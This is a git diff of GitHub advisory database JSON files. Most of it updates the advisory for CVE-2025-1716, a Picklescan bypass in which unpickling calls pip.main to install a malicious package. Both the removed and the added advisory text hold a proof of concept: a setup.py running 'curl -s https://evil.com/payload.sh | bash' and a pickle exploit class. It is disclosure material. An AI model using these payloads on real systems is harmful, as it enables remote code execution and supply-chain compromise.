diff --git a/advisories/github-reviewed/2025/03/GHSA-655q-fx9r-782v/GHSA-655q-fx9r-782v.json b/advisories/github-reviewed/2025/03/GHSA-655q-fx9r-782v/GHSA-655q-fx9r-782v.json index e8c8ab9ec95..e0d6899d552 100644 --- a/advisories/github-reviewed/2025/03/GHSA-655q-fx9r-782v/GHSA-655q-fx9r-782v.json +++ b/advisories/github-reviewed/2025/03/GHSA-655q-fx9r-782v/GHSA-655q-fx9r-782v.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-655q-fx9r-782v", - "modified": "2025-03-04T02:45:09Z", + "modified": "2025-03-04T14:30:02Z", "published": "2025-03-03T20:05:49Z", "aliases": [ "CVE-2025-1716" ], "summary": "Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis", - "details": "### Summary\nAn unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.\n\n### Details\nPickle’s deserialization process allows execution of arbitrary functions via the __reduce__ method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.\n\nThe payload executes the following steps:\n\n1. During unpickling, it calls pip.main() to install a malicious PyPI package.\n2. The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.\n3. Execution is silent, with minimal logging to avoid detection.\n\n### PoC\n\nStep 1: Create the Malicious Package\nHost a PyPI package with a malicious setup.py or entry_point.\n\nExample malicious `setup.py`\n```\nfrom setuptools import setup\nimport os\n\nos.system(\"curl -s https://evil.com/payload.sh | bash\") # Executes remote shell script\n\nsetup(\n name=\"rsac-demo-package\",\n version=\"0.1\",\n packages=[\"rsac_demo\"],\n install_requires=[],\n)\n```\nUpload it to PyPI or host on GitHub.\n\nStep 2: Exploit via Pickle\n```\nimport pickle\nimport pip\n\nclass Exploit:\n def __reduce__(self):\n return pip.main, (\n ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q',\n '--exists-action', 'i', '--isolated'],\n )\n\nmalicious_pickle = pickle.dumps(Exploit())\n\n# Simulating deserialization attack\npickle.loads(malicious_pickle)\n```\nThis installs a malicious package from GitHub or PyPI.\nThe payload runs automatically when unpickled, executing any code inside the installed package leveraging the `setup.py` file.\n\n\n### Impact\nRemote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\nBypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.\n\n### Recommended Fixes\nAdd `\"pip\": \"*\"` to the list of [unsafe globals](https://github.com/mmaitre314/picklescan/blob/25d753f4b9a27ce141a43df3bf88d731800593d9/src/picklescan/scanner.py#L96)", + "details": "### CVE-2025-1716\n\n### Summary\nAn unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.\n\n### Details\nPickle’s deserialization process allows execution of arbitrary functions via the __reduce__ method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.\n\nThe payload executes the following steps:\n\n1. During unpickling, it calls pip.main() to install a malicious PyPI package.\n2. The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.\n3. Execution is silent, with minimal logging to avoid detection.\n\n### PoC\n\nStep 1: Create the Malicious Package\nHost a PyPI package with a malicious setup.py or entry_point.\n\nExample malicious `setup.py`\n```\nfrom setuptools import setup\nimport os\n\nos.system(\"curl -s https://evil.com/payload.sh | bash\") # Executes remote shell script\n\nsetup(\n name=\"rsac-demo-package\",\n version=\"0.1\",\n packages=[\"rsac_demo\"],\n install_requires=[],\n)\n```\nUpload it to PyPI or host on GitHub.\n\nStep 2: Exploit via Pickle\n```\nimport pickle\nimport pip\n\nclass Exploit:\n def __reduce__(self):\n return pip.main, (\n ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q',\n '--exists-action', 'i', '--isolated'],\n )\n\nmalicious_pickle = pickle.dumps(Exploit())\n\n# Simulating deserialization attack\npickle.loads(malicious_pickle)\n```\nThis installs a malicious package from GitHub or PyPI.\nThe payload runs automatically when unpickled, executing any code inside the installed package leveraging the `setup.py` file.\n\n\n### Impact\nRemote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\nBypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.\n\n### Recommended Fixes\nAdd `\"pip\": \"*\"` to the list of [unsafe globals](https://github.com/mmaitre314/picklescan/blob/25d753f4b9a27ce141a43df3bf88d731800593d9/src/picklescan/scanner.py#L96)", "severity": [ { "type": "CVSS_V4", diff --git a/advisories/github-reviewed/2025/03/GHSA-hw34-rqc5-h2gm/GHSA-hw34-rqc5-h2gm.json b/advisories/github-reviewed/2025/03/GHSA-hw34-rqc5-h2gm/GHSA-hw34-rqc5-h2gm.json index ea08ea59344..bc89a66a979 100644 --- a/advisories/github-reviewed/2025/03/GHSA-hw34-rqc5-h2gm/GHSA-hw34-rqc5-h2gm.json +++ b/advisories/github-reviewed/2025/03/GHSA-hw34-rqc5-h2gm/GHSA-hw34-rqc5-h2gm.json @@ -50,6 +50,7 @@ ], "database_specific": { "cwe_ids": [ + "CWE-646", "CWE-807" ], "severity": "MODERATE",